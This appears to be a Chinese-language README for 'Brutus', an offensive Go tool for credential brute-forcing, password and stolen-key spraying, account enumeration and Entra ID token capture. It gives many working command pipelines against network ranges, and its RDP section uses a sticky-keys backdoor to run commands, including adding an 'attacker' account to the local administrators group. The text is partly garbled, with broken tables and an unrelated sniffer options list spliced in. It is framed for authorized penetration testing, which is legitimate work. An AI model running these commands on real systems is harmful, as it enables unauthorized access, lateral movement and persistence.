"Et tu, Brute?" —— 凭证沦陷前的最后遗言。
纯Go编写的现代凭证测试工具
安装 • 快速开始 • 流水线 • 协议 • 枚举 • 代理 • 库
Brutus 是一个多协议认证测试工具,旨在解决攻击性安全工具中的一个关键缺口:跨多种网络服务的高效凭证验证。虽然专注于HTTP的工具比比皆是,但渗透测试人员和红队操作员经常会遇到数据库、SSH、SMB 以及其他需要专门认证测试能力的网络服务。
Brutus 使用 Go 构建为单个二进制文件,零外部依赖,能够与 Nerva 无缝集成以实现自动化服务发现,使操作员能够快速识别并测试整个网络范围内的身份验证向量。
主要功能:
--proxy 将所有流量路由至 SOCKS5 代理--mode cautious|default|aggressive 用于调整覆盖率与安全性之间的平衡传统工具(如 THC Hydra)为安全社区做出了良好贡献,但它们带来了显著的摩擦:复杂的依赖链、特定平台的编译问题,以及与现代侦察工作流的缺乏原生集成。
Brutus 专为现代进攻性安全而设计:
真正的零依赖部署: 下载单个二进制文件即可运行。无需 libssh-dev、无需 libmysqlclient-dev、无需编译错误。在 Linux、macOS 和 Windows 上运行一致。
原生流水线集成: Brutus 使用 JSON 并与 Nerva、naabu、nmap 和 masscan 直接集成。将发现的服务直接输入凭证测试,无需格式转换或脚本。
嵌入式智能: 已知的 SSH 不良密钥(Vagrant、F5 BIG-IP、ExaGrid 等)已编译到二进制文件中。使用 brutus badkeys 来针对 SSH 目标进行测试。
以库为先的设计: 将 Brutus 直接导入您的 Go 安全工具。构建自定义自动化,无需调用外部进程。```bash
naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva --json | brutus creds --json
naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva | brutus creds
---
## 使用场景
### 渗透测试
- 在内部评估期间,验证跨多个服务发现的凭证
- 测试数据库和文件共享服务中的密码重用模式
- 识别新部署基础设施上的默认凭证
### 红队行动
- 密码泄露或钓鱼活动后快速验证凭证
- 测试跨网络服务的横向移动机会
- 验证异构环境中泄露的凭证
### 私钥喷射
在受损系统上找到私钥?在网络中喷射它,以找到它还能在哪些地方授予访问权限:```bash
# Discover SSH services and spray a found private key
naabu -host 10.0.0.0/24 -p 22 -silent | \
nerva --json | \
brutus creds -u root,admin,ubuntu,deploy -k /path/to/found_key --json
该管道发现所有SSH服务,用Nerva识别它们,并针对常见用户名测试泄露的密钥——从而在几秒内揭示横向移动机会。
发现HTTP服务,并使用AI驱动的检测或手动凭据列表测试凭据:```bash
naabu -host 10.0.0.0/24 -p 80,443,3000,8080,9090 -silent |
nerva --json |
brutus web --experimental-ai --json
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent |
nerva --json |
brutus web -c "admin:admin,root:password" --json
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent |
nerva --json |
brutus web --json
### 安全验证
- 测试新部署服务上的默认凭据
- 验证跨平台的密码策略执行
- 生成审计追踪以用于合规性和安全评估
---
## 安装
### 预构建二进制文件(推荐)
从 [GitHub Releases](https://github.com/praetorian-inc/brutus/releases) 下载:```bash
# Linux (amd64)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-linux-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
# macOS (Apple Silicon)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-arm64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
# macOS (Intel)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
(无输入,输出空)```powershell
Invoke-WebRequest -Uri https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-windows-amd64.zip -OutFile brutus.zip Expand-Archive -Path brutus.zip -DestinationPath . Remove-Item brutus.zip
### 使用 Go 安装```bash
go install github.com/praetorian-inc/brutus/cmd/brutus@latest
Brutus 将其功能组织成六个专注的子命令:```bash brutus creds # Non-HTTP credential auditing (SSH, databases, SMB, etc.) brutus web # HTTP/web panel auditing (Basic Auth, form login, AI-powered) brutus snmp # SNMP community string testing brutus badkeys # Known weak/compromised SSH key testing brutus logon # Windows logon-screen backdoor detection (sticky keys, utilman) brutus enum # Account enumeration (account-existence oracles, Kerberos, Teams auth, email generation)
每个子命令都有用于发现性的别名:
| 子命令 | 别名 |
|------------|---------|
| `creds` | `services`, `defaults`, `credentials` |
| `web` | `http`, `panels` |
| `snmp` | `community` |
| `badkeys` | `keys`, `ssh-keys`, `badkey` |
| `logon` | `stickykeys`, `sticky-keys`, `utilman`, `sethc`, `winlogon`, `accessibility` |
| `enum` | *(无)* |```bash
# Test SSH credentials
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor
# Test HTTP web panel with AI credential detection
brutus web --target 192.168.1.1:80 --experimental-ai
# Test HTTP web panel with manual credentials
brutus web --target 192.168.1.1:80 -c "admin:admin,root:toor"
# Test SNMP community strings
brutus snmp --target 192.168.1.1:161 --mode aggressive
# Detect Windows logon-screen backdoors
brutus logon --target 10.0.0.50:3389
# Pipeline mode: creds skips HTTP/SNMP, web skips non-HTTP, snmp skips non-SNMP
naabu -host 10.0.0.0/24 -silent | nerva --json | brutus creds -P passwords.txt
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | nerva --json | brutus web --experimental-ai
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive
brutus creds --target 192.168.1.100:22 --protocol ssh
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor
brutus creds --target 192.168.1.100:22 --protocol ssh -U users.txt -P passwords.txt
brutus creds --target 192.168.1.100:3306 --protocol mysql -u root -p password
brutus creds --target 192.168.1.100:22 --protocol ssh -u deploy -k /path/to/id_rsa
brutus creds --target 192.168.1.100:22 --protocol ssh -t 20
brutus creds --target 192.168.1.100:22 --protocol ssh --json
### 输出示例```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root,admin -p toor,password,admin
[+] VALID: ssh root:toor @ 192.168.1.100:22 (1.23s)
使用详细模式 (-v):```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p password,toor -v
[-] FAILED: ssh root:password @ 192.168.1.100:22 (0.45s)
[+] VALID: ssh root:toor @ 192.168.1.100:22 (0.52s)
JSON output for pipeline integration (outputs only successful credentials):```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor --json
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
Brutus 可与 Nerva 和 naabu 无缝集成,实现完整的网络侦察。
naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent |
nerva --json |
brutus creds --json -o results.json
naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent |
nerva | brutus creds -o results.json
cat results.json | jq '.'
#### 场景2:针对目标域的漏洞赏金侦察```bash
# Full pipeline against a single target
naabu -host target.example.com -top-ports 1000 -silent | \
nerva --json | \
brutus creds
# Or scan a list of subdomains
cat subdomains.txt | naabu -silent | nerva --json | brutus creds
naabu -host 192.168.0.0/16 -p 3306,5432,1433,27017,6379,9042 -silent |
nerva --json |
brutus creds -t 5 --json |
tee database-findings.json
jq -r '"(.target) (.username):(.password)"' database-findings.json
#### 场景4:跨基础设施的SSH密钥测试```bash
# Test embedded bad keys (Vagrant, F5 BIG-IP, ExaGrid, etc.) across a range
naabu -host 10.0.0.0/8 -p 22 -rate 1000 -silent | \
nerva --json | \
brutus badkeys --json -o ssh-key-findings.json
# Find systems using compromised SSH keys (key field is true)
cat ssh-key-findings.json | jq 'select(.key == true)'
naabu -host 172.16.0.0/12 -p 6379 -silent |
nerva --json |
brutus creds
naabu -host 10.0.0.0/24 -p 27017 -silent |
nerva --json |
brutus creds -u admin,root,mongodb -p admin,password,mongodb
### 扫描工具导入(Nmap & Masscan)
Brutus 可以直接从 **nmap** 和 **masscan** 扫描输出文件中导入目标,无需格式转换或中间工具。
#### Nmap XML 导入(`--nmap-file`)
从 nmap 的 XML 输出(`-oX`)导入目标。Nmap 提供服务指纹识别,因此 Brutus 会自动将检测到的服务映射到正确的协议:```bash
# Run an nmap service scan
nmap -sV -oX scan.xml 10.0.0.0/24 -p 22,3306,5432,6379,445,3389
# Feed nmap results directly to Brutus
brutus creds --nmap-file scan.xml -P passwords.txt
# Test web services from nmap scan
brutus web --nmap-file scan.xml -c "admin:admin,root:password"
# Test SNMP from nmap scan
brutus snmp --nmap-file scan.xml --mode aggressive
# JSON output for scripting
brutus creds --nmap-file scan.xml --json -o results.json
Nmap 服务名称会自动映射到 Brutus 协议(例如,ms-wbt-server → rdp,microsoft-ds → smb)。TLS 通过 nmap 的 tunnel="ssl" 属性检测。仅导入在线主机上的开放端口。
--masscan-file)从 masscan 的 JSON 输出(-oJ)导入目标。由于 masscan 只是一个端口扫描器(没有服务指纹识别),你必须指定 --protocol 或让 Brutus 使用 Nerva 自动指纹识别:```bash
masscan 10.0.0.0/24 -p 22,3306,5432,6379 -oJ scan.json --rate 10000
brutus creds --masscan-file scan.json --protocol ssh -u root -P passwords.txt
brutus creds --masscan-file scan.json -P passwords.txt
#### Combining with Other Workflows
The `--nmap-file` 和 `--masscan-file` 标志适用于所有子命令,并且与 `--target`、`--targets-file` 以及 stdin 互斥:```bash
# Scan for RDP backdoors from nmap results
brutus logon --nmap-file scan.xml
# Test SSH bad keys from nmap results
brutus badkeys --nmap-file scan.xml
# Override protocol for all masscan targets
brutus creds --masscan-file scan.json --protocol redis -p "redis,password"
Brutus 接受来自标准输入的多种输入格式:
Nerva JSON (nerva --json):```bash
{"ip":"192.168.1.100","port":22,"protocol":"ssh","tls":false,"transport":"tcp","version":"OpenSSH_8.9p1"}
{"ip":"192.168.1.101","port":3306,"protocol":"mysql","tls":false,"transport":"tcp","version":"8.0.32"}
**Nerva URI**(默认的Nerva输出,无需`--json`参数):```bash
# Nerva outputs URI-scheme lines by default
$ echo "github.com:22" | nerva
ssh://github.com:22 (20.205.243.166)
# Pipe directly to Brutus — protocol is extracted from the URI scheme
echo "10.0.0.1:22" | nerva | brutus creds
echo "10.0.0.0/24:3306" | naabu -silent | nerva | brutus creds
裸目标(使用Nerva自动指纹识别):```bash echo "192.168.1.100:22" | brutus creds
Brutus 自动:
- 解析 JSON、URI 方案和裸目标格式
- 将服务映射到协议
- 测试适当的默认凭据
- 以匹配的 JSON 格式输出结果
### 管道输出格式
Brutus 仅输出成功凭据,格式为 JSONL(每行一个 JSON 对象):```bash
# Brutus JSON output (with --json flag) - only successful authentications
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
{"protocol":"mysql","target":"192.168.1.101:3306","username":"root","password":"","duration":"890.123µs"}
{"protocol":"ssh","target":"192.168.1.103:22","username":"vagrant","key":true,"duration":"2.345678ms","banner":"SSH-2.0-OpenSSH_9.6"}
注意: 失败的认证尝试不会包含在JSON输出中。key 字段会在认证使用 SSH 密钥而非密码时出现(值为 true)。llm_suggested 字段会在凭据由AI系统(--experimental-ai)建议时出现(值为 true)。
Brutus 支持 27 种协议:
| 协议 | 端口 | 认证方式 | 用途 |
|---|---|---|---|
| HTTP | 80 | 基本认证 | 管理面板(Grafana、Jenkins等) |
| HTTPS | 443 | 基本认证 | 安全管理面板 |
| 协议 | 端口 | 认证方式 | 用途 |
|---|---|---|---|
| Docker | 2375/2376 | 未认证 | 暴露的Docker守护进程 |
| Kubernetes | 6443/10250 | 未认证 | 暴露的K8s API/kubelet |
| 协议 |
|---|
单一二进制部署,无需外部密钥文件。每个密钥都与其默认用户名配对,实现智能凭据映射,CVE追踪支持合规性查询。
Brutus 将 rapid7/ssh-badkeys 和 Vagrant 密钥集合嵌入到二进制文件中:```bash
brutus badkeys --target 192.168.1.100:22
naabu -host 10.0.0.0/24 -p 22 -silent | nerva --json | brutus badkeys
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p "password"
### 嵌入式密钥集合
| 产品 | CVE | 默认用户 | 描述 |
|---------|-----|--------------|-------------|
| Vagrant | - | vagrant, root | HashiCorp Vagrant 不安全密钥 |
| F5 BIG-IP | CVE-2012-1493 | root | 静态SSH主机密钥 |
| ExaGrid | CVE-2016-1561 | root | 备份设备后门 |
| Monroe DASDEC | CVE-2013-0137 | root | 紧急警报系统 |
| Barracuda | CVE-2014-8428 | cluster | 负载均衡器虚拟机 |
| Ceragon FibeAir | CVE-2015-0936 | mateidu | 无线回传 |
| Array Networks | - | sync | vAPV/vxAG 设备 |
| Quantum DXi | - | root | 去重设备 |
| Loadbalancer.org | - | root | 企业级负载均衡器 |
---
## 攻击性模式
全局 `--mode` 标志(`-m`)控制所有子命令的攻击性。它设置性能调优预设,以平衡覆盖范围与安全性:
| 模式 | 线程数 | 超时 | 速率限制 | 抖动 | 重试次数 | 适用场景 |
|------|---------|---------|------------|--------|---------|----------|
| `cautious` | 5 | 15s | 2 req/s | 500ms | 1 | 生产环境,避免锁定 |
| `default` | 10 | 10s | 无限制 | 无 | 2 | 标准测试 |
| `aggressive` | 20 | 10s | 无限制 | 无 | 3 | 实验室/CTF环境,最大覆盖 |
模式预设首先应用,然后任何显式的CLI标志会覆盖它们。```bash
# Safe mode for production Active Directory (low concurrency, rate-limited)
brutus creds --target dc.corp.local:445 --protocol smb -m cautious -U users.txt -P passwords.txt
# Maximum coverage for a CTF
brutus creds --target 10.10.10.100:22 --protocol ssh -m aggressive -U users.txt -P rockyou.txt
# Cautious mode but override threads
brutus creds --target 192.168.1.100:22 --protocol ssh -m cautious --threads 20
对于 SNMP,模式还控制内置字典的深度(参见 SNMP 社区字符串测试)。
--proxy 标志将所有连接路由到 SOCKS5 代理。这适用于所有协议和子命令:```bash
brutus creds --target 10.0.0.100:22 --protocol ssh --proxy socks5://127.0.0.1:1080
brutus creds --target 10.0.0.100:3306 --protocol mysql --proxy socks5://user:[email protected]:1080
brutus creds --target internal.corp:22 --protocol ssh --proxy socks5h://127.0.0.1:1080
naabu -host 10.0.0.0/24 -p 22,3306 -silent | nerva --json | brutus creds --proxy socks5://127.0.0.1:1080
brutus web --target 192.168.1.1:8080 --proxy socks5://127.0.0.1:1080 brutus snmp --target 192.168.1.1:161 --proxy socks5://127.0.0.1:1080
Supported schemes:
- `socks5://` — Standard SOCKS5 proxy (client-side DNS resolution)
- `socks5h://` — SOCKS5 with remote DNS resolution (useful when targeting internal hostnames)
---
## SNMP 团体字符串测试
`snmp` 子命令提供专用的 SNMP v1/v2c 团体字符串测试,通过全局 `--mode` 标志控制分层的词表:
| 模式 | 字符串 | 覆盖范围 |
|------|--------|----------|
| `cautious` | ~25 | 常见字符串(public、private、community 等) |
| `default` | ~25 | 与 cautious 相同 |
| `aggressive` | 200+ | 全面(厂商特定、SCADA、IP 摄像头、存储等) |```bash
# Test with default community strings (~25)
brutus snmp --target 192.168.1.1:161
# Aggressive mode for comprehensive testing (200+)
brutus snmp --target 10.0.0.1:161 --mode aggressive
# Custom community strings
brutus snmp --target 192.168.1.1:161 -c "mycommunity,secretstring"
# Custom community string file
brutus snmp --target 192.168.1.1:161 -C community-strings.txt
# Pipeline mode
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive
对于构建安全自动化工具的开发者来说,Brutus 也可以作为 Go 库导入:```bash go get github.com/praetorian-inc/brutus
### Options
+ `-m, --match` - 签名匹配数据包
+ `-D, --database=test` - 从数据库加载签名(文件名或文件夹)
+ `-e, --pcap` - 解析pcap文件
+ `-x, --pid` - 识别发送数据包的进程 [仅限Linux]
+ `-H --http` - 来自pcap的HTTP请求和响应
+ `-d, --dns` - 来自pcap的DNS请求
+ `--rrd` - 输出RRD信息
+ `-j, --json` - JSON输出
+ `-G, --grep` - 逗号分隔的搜索列表:密码、信用卡、电子邮件、
电话、用户代理、哈希、Resguard_Start等。
+ `-V, --verbose` - 详细输出
+ `--console` - 显示日志而非将其存储到日志文件中```go
package main
import (
"fmt"
"time"
"github.com/praetorian-inc/brutus/pkg/brutus"
_ "github.com/praetorian-inc/brutus/pkg/builtins" // registers all protocols and analyzers
)
func main() {
config := &brutus.Config{
Target: "192.168.1.100:22",
Protocol: "ssh",
Usernames: []string{"root", "admin"},
Passwords: []string{"password", "admin", "toor"},
Timeout: 5 * time.Second,
Threads: 10,
}
results, err := brutus.Brute(config)
if err != nil {
panic(err)
}
for _, r := range results {
if r.Success {
fmt.Printf("[+] Valid: %s:%s\n", r.Username, r.Password)
}
}
}
⚠️ 实验性功能: AI功能需要外部API密钥,且正在积极开发中。
--experimental-ai 标志--experimental-ai 标志可为HTTP服务启用自动凭据检测:```bash
export ANTHROPIC_API_KEY="your-anthropic-key" # Required: Claude Vision for device identification export PERPLEXITY_API_KEY="your-perplexity-key" # Optional: additional web search
naabu -host 192.168.1.0/24 -p 80,443,8080 -silent |
nerva --json |
brutus web --experimental-ai
**工作原理:**
1. **检测** — Brutus 探测 HTTP 目标以检测认证类型(基本认证 vs 基于表单的认证)
2. **设备识别** — Claude Vision 分析截图以识别设备/应用程序
3. **凭据建议** — Claude 根据其训练数据建议默认凭据
4. **可选网络搜索** — Perplexity(若已配置)在线搜索额外凭据
5. **测试** — 针对目标测试发现的凭据
**针对 HTTP 基本认证目标:**
- 探测 `/` 以捕获 HTTP 头
- 根据 Server 头、WWW-Authenticate realm 等识别设备
- Claude 建议可能的默认凭据
- 自动测试凭据对
**针对 HTTP 基于表单的认证目标:**
- 使用无头 Chrome 渲染页面并截图
- Claude Vision 识别登录表单、设备类型并建议凭据
- Perplexity(可选)搜索额外的默认凭据
- 浏览器自动化填写并提交表单
**要求:**
- `ANTHROPIC_API_KEY` — **必需**,用于 Claude Vision(设备识别 + 凭据建议)
- `PERPLEXITY_API_KEY` — *可选*,用于额外的网络搜索研究
- 已安装 Chrome/Chromium(仅用于基于表单的认证)
**非 HTTP 协议(SSH、MySQL 等)不受 `--experimental-ai` 影响** — 它们继续使用标准凭据测试。
---
## RDP:粘滞键后门检测与利用
Brutus 包含对 RDP 目标上**粘滞键后门**(MITRE ATT&CK [T1546.008](https://attack.mitre.org/techniques/T1546/008/))的自动检测。此预认证检查在非 NLA RDP 目标上执行 — 无需凭据。
**工作原理:**
1. 连接到 RDP 目标并协商非 NLA 会话
2. 捕获登录屏幕位图作为基线
3. 发送 5 次 Shift 键(粘滞键触发)
4. 捕获响应位图
5. 启发式分析检测是否出现终端窗口(cmd.exe、PowerShell 等)
6. 可选择通过 Claude Vision API 确认(当设置了 `ANTHROPIC_API_KEY` 时)```bash
# Detection only — no brute force
brutus logon --target 10.0.0.50:3389
# Detection + Vision API confirmation
brutus logon --target 10.0.0.50:3389 --experimental-ai
仅检测模式: logon 子命令运行粘滞键和实用工具管理器后门检测,无需暴力破解:```bash
brutus logon --target 10.0.0.50:3389
**检测输出:**```
[CRITICAL] Sticky keys backdoor CONFIRMED (confidence: 85%)
sethc.exe has been replaced with cmd.exe or similar.
SYSTEM-level unauthenticated access available via 5x Shift.
--exec)一旦检测到后门,通过预认证命令提示符在远程系统上执行命令:```bash
brutus logon --target 10.0.0.50:3389 --exec "whoami"
brutus logon --target 10.0.0.50:3389
--exec "net user attacker P@ssw0rd /add && net localgroup administrators attacker /add"
这将连接、触发后门、输入命令、按回车键、等待输出,并将结果保存为PNG截图。
### 交互式Web终端 (`--web`)
启动基于浏览器的RDP查看器,与后门命令提示符进行实时交互:```bash
# Start interactive web terminal
brutus logon --target 10.0.0.50:3389 --web
这将启动一个本地 HTTP 服务器,具有以下功能:
在任何浏览器中打开显示的 URL(例如 http://127.0.0.1:<port>),即可与远程 RDP 会话交互。如果会话因服务器端空闲超时而断开,请点击重新连接以建立新会话。
注意: 非 NLA RDP 会话存在服务器端空闲超时(Windows 默认值因配置而异,通常通过组策略
Computer Configuration > Administrative Templates > Remote Desktop Services > Session Time Limits控制)。要延长测试目标的超时时间,请在注册表中将MaxIdleTime设置为0:HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\MaxIdleTime = 0 (DWORD)
B-TP(良性真阳性)考量: 后门替换也可能指示遗忘的密码恢复程序或来自授权渗透测试的痕迹。
对于大规模评估,logon 子命令可在多个目标上运行后门检测。它接受管道输入、目标文件或 nmap/masscan 导入——仅测试 RDP 服务:```bash
naabu -host 10.0.0.0/24 -p 3389 -silent |
nerva --json |
brutus logon --json -o rdp-findings.json
brutus logon --nmap-file scan.xml --json -o rdp-findings.json
brutus logon --targets-file rdp-targets.txt --json
jq 'select(.finding == "[CRITICAL]")' rdp-findings.json
**技术实现:** RDP 协议支持使用 [IronRDP](https://github.com/Devolutions/IronRDP)(Rust 编写)编译为 WebAssembly,并通过 [wazero](https://github.com/tetratelabs/wazero) 执行,保持 Brutus 的零 CGO、单一二进制设计。
---
## 账户枚举
`enum` 子命令枚举哪些账户存在性预言机(oracles)对某个组织有效(并针对它们枚举电子邮件地址),或枚举 Active Directory 用户,所有这些都不发送密码。
### 账户存在性预言机枚举
识别哪些未经身份验证的账户存在性预言机(microsoft365、google、github 以及 Microsoft Teams 预言机)对某个组织有效,针对一个已知有效用户进行验证,然后针对有效的预言机枚举候选电子邮件地址。DNS TXT 侦察暴露候选预言机;针对 `--known-valid` 的验证是重点。`--known-valid` 是必需的,并且枚举仅针对验证了该参数的预言机进行:```bash
# Discover candidate oracles via DNS and report which ones work
brutus enum active oracles --domain example.com --known-valid [email protected]
# Enumerate specific emails against the working oracles
brutus enum active oracles --domain example.com -e [email protected],[email protected] --known-valid [email protected]
# Enumerate emails from file
brutus enum active oracles --domain example.com -E emails.txt --known-valid [email protected]
# Generate emails from embedded name lists and enumerate against working oracles
brutus enum active oracles --domain example.com --generate --format flast --known-valid [email protected]
# Discover working oracles with a known-valid email before large-scale enumeration
brutus enum active oracles discover --domain example.com --known-valid [email protected]
通过 Kerberos AS-REQ 枚举 Active Directory 用户名(不发送密码,无锁定风险):```bash
brutus enum active kerberos --dc 10.0.0.1 --domain CORP.LOCAL -u administrator,guest,krbtgt
brutus enum active kerberos --dc dc01.corp.local --domain CORP.LOCAL -U users.txt
brutus enum generate --format flast | brutus enum active kerberos --dc 10.0.0.1 --domain CORP.LOCAL -U -
### 电子邮件/用户名生成
从内置的名/姓单词列表中生成电子邮件地址或用户名:```bash
# Generate emails: [email protected]
brutus enum generate --domain example.com --format flast
# Generate usernames only (no domain): jsmith
brutus enum generate --format flast
# Available formats: first.last, flast, firstl, f.last, lastf, last.first, lastfirst, first
brutus enum generate --domain example.com --format first.last
通过 Hunter.io 域名搜索 API 发现与某个域名相关的人员信息(电子邮件、姓名、职位、电话、部门、资历、置信度)。自动分页直到检索完所有结果。```bash
export HUNTER_API_KEY=your_key_here
brutus enum hunter --domain example.com
brutus enum hunter --domain example.com --api-key your_key_here
brutus enum hunter --domain example.com --output people.jsonl
brutus enum hunter --domain example.com --limit 50
---
### Microsoft Teams / Entra ID 身份验证
使用[设备代码流](https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-device-code)(RFC 8628)从Microsoft Entra ID (Azure AD)获取OAuth2访问令牌、刷新令牌和ID令牌。生成的令牌可用于Microsoft Graph API调用、Teams枚举以及通过[ROADtools](https://github.com/dirkjanm/ROADtools)或自定义Graph查询进行审计。```bash
# Authenticate against the common endpoint (any Microsoft tenant)
brutus enum active teams auth
# Authenticate against a specific tenant by domain or GUID
brutus enum active teams auth --tenant contoso.com
brutus enum active teams auth --tenant 00000000-0000-0000-0000-000000000000
# Request a different resource scope (space-separated). The default targets the
# Skype/Teams resource (api.spaces.skype.com); the Teams client is NOT
# authorized for Microsoft Graph (Graph yields AADSTS65002).
brutus enum active teams auth --scope "offline_access https://api.spaces.skype.com/.default"
# Use a custom app registration (your own Azure app client ID)
brutus enum active teams auth --client-id 00000000-0000-0000-0000-000000000000
# Capture the full token set as JSONL for piping to other tools
brutus enum active teams auth -o tokens.jsonl
brutus enum active teams auth --json
工作原理:
login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode 请求设备码Ctrl+C人类输出仅显示访问令牌的前 20 个字符(足够用于验证)。使用 --json 或 -o 捕获完整的令牌值。
默认客户端 ID: Microsoft Teams 桌面应用程序 (1fec8e78-bce4-4aaf-ab1b-5451cc387264),这是一个支持设备码流的第一方公共客户端。使用 --client-id 覆盖以使用您自己的应用注册。```
$ brutus enum active teams auth --tenant contoso.com
[*] Starting Microsoft device code authentication...
[*] Microsoft device code authentication Open: https://microsoft.com/devicelogin Code: ABCD-1234 Expires in: 15m
[*] Waiting for you to complete sign-in...
[+] Authentication successful Token type: Bearer Expires at: 2026-06-16T13:00:00Z Scope: offline_access https://api.spaces.skype.com/.default Access token: eyJ0eXAiOiJKV1Qi... Refresh token: ID token:
#### Teams 用户枚举
认证通过后,通过电子邮件地址枚举企业 Teams 用户。每个
结果是 `exists`、`blocked`(租户禁止外部搜索但用户可能存在)、`not found` 或 `unknown`(认证/传输失败)。个人/Live 账户不受支持——仅限企业租户。```bash
# Device-code auth inline, then enumerate a couple of emails
brutus enum active teams users -e [email protected],[email protected]
# Generate candidate emails for a domain and enumerate the most-likely 5000
# (presence and out-of-office are gathered by default; use --no-presence to skip)
brutus enum active teams users --domain target.com --format first.last --limit 5000
# Enumerate emails from a file
brutus enum active teams users -E emails.txt
# Reuse a token captured earlier and route through a SOCKS5 proxy
brutus enum active teams auth -o token.jsonl
brutus enum active teams users -E emails.txt --token-file token.jsonl --proxy socks5://127.0.0.1:1080
# Provide an access token directly
brutus enum active teams users -e [email protected] --access-token "$TOKEN"
当提供了刷新令牌(通过 --token-file 或 --refresh-token),过期的访问令牌会自动续期一次;否则,401 会优雅地降级为 unknown 结果。
使用两个未认证的预言机来检查电子邮件地址是否对应 Google 账户——无需令牌或登录:
workspace-sso)。gmail)。每个结果是 exists(带有确认方法,对于 SSO 还包括 IdP 主机)或 not found。```bash
brutus enum active google -e [email protected],[email protected]
brutus enum active google --domain target.com --format first.last --limit 5000
brutus enum active google -E emails.txt
brutus enum active google -E emails.txt --proxy socks5://127.0.0.1:1080 --threads 20
`--domain` 复用与 `enum generate` 相同的基于频率的姓名生成器;`--format` 选择用户名布局,`--limit` 将生成限制在前 N 个(最可能)候选项。`--domain` 可与 `-e`/`-E` 结合使用。
---
## 已知限制
### 粘滞键启发式检测
- **交替出现假阴性:** 仅使用启发式检测(不带 `--experimental-ai` 的 `brutus logon`)在针对同一目标的重复扫描中可能产生假阴性。在成功检测后,cmd.exe 窗口会在服务器上保持打开状态。后续连接会在基准帧中看到该 cmd.exe,由于发送 5 次 Shift 不会创建新窗口,像素差异极小——从而导致“干净”的判断。这不会影响 `--experimental-ai` 模式,该模式直接使用响应帧的 Vision API 分析(而非基准帧与响应帧的差异),并能可靠地识别终端窗口,无论先前的状态如何。
- **解决方法:** 使用设置了 `ANTHROPIC_API_KEY` 的 `--experimental-ai` 可在重复扫描中获得一致的检测结果,或等待 RDP 会话重置的冷却时间。
### 浏览器插件
- 需要本地安装 Chrome/Chromium
- 无头模式可能不适用于所有系统
- 某些 JavaScript 密集的登录页面可能需要额外等待时间
| 特性 | Hydra | Medusa | Ncrack | Brutus |
|---|
| 单一二进制 | ❌ | ❌ | ❌ | ✅ |
| 零依赖 | ❌ | ❌ | ❌ | ✅ |
| SOCKS5代理 | ✅ | ❌ | ❌ | ✅ |
| Nerva管道 | ❌ | ❌ | ❌ | ✅ |
| Nmap/Masscan导入 | ❌ | ❌ | ❌ | ✅ |
| JSON流式输出 | ⚠️ | ❌ | ❌ | ✅ |
| 跨平台 | ⚠️ | ⚠️ | ⚠️ | ✅ |
| 一致错误提示 | ⚠️ | ⚠️ | ⚠️ | ✅ |
| 积极开发 | ✅ | ⚠️ | ❌ | ✅ |
| 内嵌不良密钥 | ❌ | ❌ | ❌ | ✅ |
| Go库导入 | ❌ | ❌ | ❌ | ✅ |
| 协议 | 端口 | 认证方式 | 用途 |
|---|
| SSH | 22 | 密码, 私钥 | 服务器、网络设备 |
| FTP | 21 | 密码 | 文件服务器、NAS设备 |
| Telnet | 23 | 密码 | 遗留系统、IoT设备 |
| VNC | 5900 | 密码 | 远程桌面 |
| RDP | 3389 | NLA/CredSSP, 密码 | Windows服务器、工作站 |
| SNMP | 161 | 团体字符串 | 网络设备、打印机 |
| 协议 | 端口 | 认证方式 | 用途 |
|---|
| SMB | 445 | 密码, NTLM | Windows网络、文件共享 |
| LDAP | 389/636 | 绑定DN | Active Directory、身份认证 |
| WinRM | 5985/5986 | NTLM | Windows远程管理 |
| 协议 | 端口 | 认证方式 | 用途 |
|---|
| MySQL | 3306 | 密码 | Web应用 |
| PostgreSQL | 5432 | 密码 | 现代应用 |
| MSSQL | 1433 | 密码 | 企业应用 |
| MongoDB | 27017 | 密码 | NoSQL后端 |
| Redis | 6379 | 密码 | 缓存、会话 |
| Neo4j | 7687 | 密码 | 图数据库 |
| Cassandra | 9042 | 密码 | 分布式数据库 |
| CouchDB | 5984 | HTTP基本认证 | 文档存储 |
| Elasticsearch | 9200 | HTTP基本认证 | 搜索引擎 |
| InfluxDB | 8086 | HTTP基本认证 | 时序数据 |
| Oracle | 1521 | 密码 | 企业数据库 |
| 端口 |
|---|
| 认证方式 |
|---|
| 用途 |
|---|
| SMTP | 25/587 | 密码 | 邮件中继 |
| IMAP | 143/993 | 密码 | 邮箱访问 |
| POP3 | 110/995 | 密码 | 邮箱访问 |